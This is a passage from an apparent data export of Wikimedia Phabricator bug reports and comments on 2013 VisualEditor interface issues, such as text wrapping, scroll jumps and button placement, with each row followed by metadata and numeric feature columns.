this bug. ***
235821,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Created attachment 12761
Template inspector after closing

**Attached**: {F11205}",,,1373030118,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,"Created attachment 12761
Template inspector after closing

**Attached**: {F11205}"
52800,VisualEditor: Break lines for TemplateData description in template inspector,"Screenshot

The text of the TemplateData description should have an line break (wrap into span and style per CSS?) in the template inspector.

Longer descriptions flows out of the template inspector box, see screenshot.

Related: Bug 50656 - Parse wikicode and/or HTML in interface text

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11203}",High,80.0,1373028960,1373420952.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,8.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0843373493975905,0.6746987951807228,"Screenshot

The text of the TemplateData description should have an line break (wrap into span and style per CSS?) in the template inspector.

Longer descriptions flows out of the template inspector box, see screenshot.

Related: Bug 50656 - Parse wikicode and/or HTML in interface text

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11203}"
235778,VisualEditor: Break lines for TemplateData description in template inspector,"This is now fixed in master and will be deployed soon, probably tomorrow.",,,1373420952,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,1.0,"This is now fixed in master and will be deployed soon, probably tomorrow."
235775,VisualEditor: Break lines for TemplateData description in template inspector,"Change 72863 merged by jenkins-bot:
Make parameter search widget have a horizontal limit

https://gerrit.wikimedia.org/r/72863",,,1373420566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,1.0,"Change 72863 merged by jenkins-bot:
Make parameter search widget have a horizontal limit

GERRIT_URL"
235772,VisualEditor: Break lines for TemplateData description in template inspector,"Change 72863 had a related patch set uploaded by Trevor Parscal:
Make parameter search widget have a horizontal limit

https://gerrit.wikimedia.org/r/72863",,,1373415980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6tlgztl4hagkm2r7xhiz,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.869565217391305,0.9565217391304348,"Change 72863 had a related patch set uploaded by Trevor Parscal:
Make parameter search widget have a horizontal limit

GERRIT_URL"
52799,VisualEditor: Add close icon to page notices fly-out,"At the moment the only way to close a page notice is to click on the interface element that launches them - which feels somewhat counterintuitive. Could we have a little close button in the notices themselves?

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1373028000,1383279877.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-p53a3hhm2h3bhitmo2np,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,5.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.385964912280702,0.7368421052631579,"At the moment the only way to close a page notice is to click on the interface element that launches them - which feels somewhat counterintuitive. Could we have a little close button in the notices themselves?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235736,VisualEditor: Add close icon to page notices fly-out,We did this as part of the fixes to the toolbar.,,,1383279877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p53a3hhm2h3bhitmo2np,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9166666666666666,We did this as part of the fixes to the toolbar.
52792,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"This happened on MediaWiki, he.wiki and en.wiki on Chrome.

Open some article for editing (preferably a long one so the effect is seen)
add some text in the middle or end, mark it and make it a ""Heading"". 

Observed result: The text turns into a heading, but the entire edit section scrolls up to the top of the page. This is especially annoying when the page is long and when the edit is done in the middle.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1373007960,1373415137.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,0.0,1.5,0.0,4.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,2.5,3.5,11.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,7.0,2.5,0.0,1.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.7181818181818183,"This happened on MediaWiki, he.wiki and en.wiki on Chrome.

Open some article for editing (preferably a long one so the effect is seen)
add some text in the middle or end, mark it and make it a ""Heading"". 

Observed result: The text turns into a heading, but the entire edit section scrolls up to the top of the page. This is especially annoying when the page is long and when the edit is done in the middle.

--------------------------
**Version**: unspecified
**Severity**: minor"
235407,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),This is now fixed by the above commit; we'll get it deployed soon. Sorry for the disruption.,,,1373414274,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.9047619047619048,This is now fixed by the above commit; we'll get it deployed soon. Sorry for the disruption.
235401,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Change 72768 merged by jenkins-bot:
Affordances for MenuWidget to be optionally focusable.

https://gerrit.wikimedia.org/r/72768",,,1373413453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.842105263157895,1.0,"Change 72768 merged by jenkins-bot:
Affordances for MenuWidget to be optionally focusable.

GERRIT_URL"
235395,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Change 72768 had a related patch set uploaded by Robmoen:
Affordances for MenuWidget to be optionally focusable.

https://gerrit.wikimedia.org/r/72768",,,1373400275,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.954545454545454,1.0,"Change 72768 had a related patch set uploaded by Robmoen:
Affordances for MenuWidget to be optionally focusable.

GERRIT_URL"
235390,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),*** Bug 50860 has been marked as a duplicate of this bug. ***,,,1373157160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50860 has been marked as a duplicate of this bug. ***
235382,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Confirmed in Chrome, Safari and not in Firefox, for whatever reason.",,,1373048007,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"Confirmed in Chrome, Safari and not in Firefox, for whatever reason."
235377,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"I just checked the editor on Firefox 22.0, and it does not scroll there (works as expected). The bug seems to be in Chrome only. 

If it helps, that's the UserAgent for my Chrome browser:

 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",,,1373009332,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,26.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,11.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.112903225806452,0.8387096774193549,"I just checked the editor on Firefox 22.0, and it does not scroll there (works as expected). The bug seems to be in Chrome only. 

If it helps, that's the UserAgent for my Chrome browser:

 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"
52774,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","**Author:** `turingt`

**Description:**
At the Transclusion dialog, after a click or double-click on the chosen parameter, nothing happens. Is the user expected to click on the ""Add parameter"" label at the top? To press Enter? To read the user guide for instruction on how  ? None of these steps help.

This is a usability bug - the actual button is hidden below the fold, at the end of a very long list that is not intended to be scrolled through, and thus hard to discover. The button should be always visible in the dialog - otherwise, the dialog becomes unusable with long lists of parameters.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372974060,1373932787.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mlttagm5jcb3oqt5j734,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.5,2.0,0.5,6.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,11.5,1.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,14.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,8.5,3.5,8.0,0.5,1.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.5,2.0,1.5,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.753333333333333,0.6733333333333333,"**Author:** CODE

**Description:**
At the Transclusion dialog, after a click or double-click on the chosen parameter, nothing happens. Is the user expected to click on the ""Add parameter"" label at the top? To press Enter? To read the user guide for instruction on how  ? None of these steps help.

This is a usability bug - the actual button is hidden below the fold, at the end of a very long list that is not intended to be scrolled through, and thus hard to discover. The button should be always visible in the dialog - otherwise, the dialog becomes unusable with long lists of parameters.

--------------------------
**Version**: unspecified
**Severity**: normal"
234285,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","This issue is now fixed (or, rather, the button is no longer needed), as we've gone instead with single-click-to-insert, which will be deployed in the next few minutes.",,,1373932787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.357142857142857,0.8333333333333334,"This issue is now fixed (or, rather, the button is no longer needed), as we've gone instead with single-click-to-insert, which will be deployed in the next few minutes."
234277,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","Change 73865 merged by jenkins-bot:
Single-click insertion

https://gerrit.wikimedia.org/r/73865",,,1373932432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"Change 73865 merged by jenkins-bot:
Single-click insertion

GERRIT_URL"
234271,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","Change 73865 had a related patch set uploaded by Trevor Parscal:
Single-click insertion

https://gerrit.wikimedia.org/r/73865",,,1373922494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 73865 had a related patch set uploaded by Trevor Parscal:
Single-click insertion

GERRIT_URL"
52773,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Especially when a template has many parameters;
scrolling until you find the actual button to add them,
having to add them one by one and having to do so by clicking each time on the name of the template itself to get to the list again, it's confusing users.
There's already a bug about mandatory parameters not being enforced; I am not sure of the behaviour related to the order of the parameters, but it would be great if the editor could keep them in the same order they're being chosen with. Thanks :)

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1372970700,1374257794.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_description,invalid,True,c1,3,False,False,True,0,,1.0,0.0,0.0,1.5,1.5,6.0,1.5,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.5,1.0,0.0,4.0,10.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.5,0.5,2.0,1.0,0.5,0.0,0.0,1.0,1.5,0.0,2.5,0.5,1.5,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,4.0,1.5,1.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,5.5,10.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,1.0,2.5,2.5,0.0,0.0,0.0,3.9133384536610345,0.7119815668202765,"Especially when a template has many parameters;
scrolling until you find the actual button to add them,
having to add them one by one and having to do so by clicking each time on the name of the template itself to get to the list again, it's confusing users.
There's already a bug about mandatory parameters not being enforced; I am not sure of the behaviour related to the order of the parameters, but it would be great if the editor could keep them in the same order they're being chosen with. Thanks :)

--------------------------
**Version**: unspecified
**Severity**: critical"
234224,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",There is no longer such a button (as of a week ago).,,,1374257794,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,2.7333333333333334,0.9333333333333333,There is no longer such a button (as of a week ago).
234218,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Created attachment 12830
Screenshot of how it used to be

Note that though this is how it was. It was also true that when the text in the input field was very long (like, very very long, as long as the dialog is wide) the button would jump to *below* the parameter list (as opposed to directly below the input field or just stay where it was).


I propose that we either keep the current behaviour of the input field having a fixed width, but making sure that width is without the width of the ""Add"" button so that that one always stays where it should be (similar to having the ""Go"" button of a search field next to the input and not at the bottom of a variable-length and scrollable list of results).

Alternatively we could bring back the dynamic-width behaviour but when we'd still need to make sure it doesn't go wider than the width allotted to keep the button on the same line as well.

**Attached**: {F11129}",,,1373539291,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,1.0,0.0,1.0,4.666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,1.0,0.0,0.0,0.0,1.6666666666666667,0.0,9.666666666666666,10.666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,11.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.666666666666667,3.0,3.6666666666666665,4.333333333333333,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,10.666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,2.0,1.0,0.0,1.0,0.3333333333333333,0.0,0.0,3.6328502415458934,0.7004830917874396,"Created attachment 12830
Screenshot of how it used to be

Note that though this is how it was. It was also true that when the text in the input field was very long (like, very very long, as long as the dialog is wide) the button would jump to *below* the parameter list (as opposed to directly below the input field or just stay where it was).


I propose that we either keep the current behaviour of the input field having a fixed width, but making sure that width is without the width of the ""Add"" button so that that one always stays where it should be (similar to having the ""Go"" button of a search field next to the input and not at the bottom of a variable-length and scrollable list of results).

Alternatively we could bring back the dynamic-width behaviour but when we'd still need to make sure it doesn't go wider than the width allotted to keep the button on the same line as well.

**Attached**: {F11129}"
234211,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Created attachment 12829
Screenshot of the problem (current version)

No add button anywhere in sight, users are likely to be blocked indefinitely with no ability to add any parameters.

